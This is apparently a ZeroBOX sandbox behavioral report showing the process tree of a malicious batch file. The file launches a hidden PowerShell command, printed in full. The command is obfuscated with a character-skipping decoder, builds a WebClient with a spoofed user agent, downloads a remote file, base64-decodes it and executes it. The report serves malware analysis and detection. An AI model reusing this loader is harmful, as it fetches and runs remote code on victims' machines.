| ZeroBOX

Behavioral Analysis

Process tree

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MJTdZEt" C:\Users\test22\AppData\Local\Temp\Hyttegsten.bat

    204
    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Hyttegsten.bat

      2056
      • powershell.exe powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') ;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"

        2164

Process contents

No process loaded Click on a process in the tree above to load its data.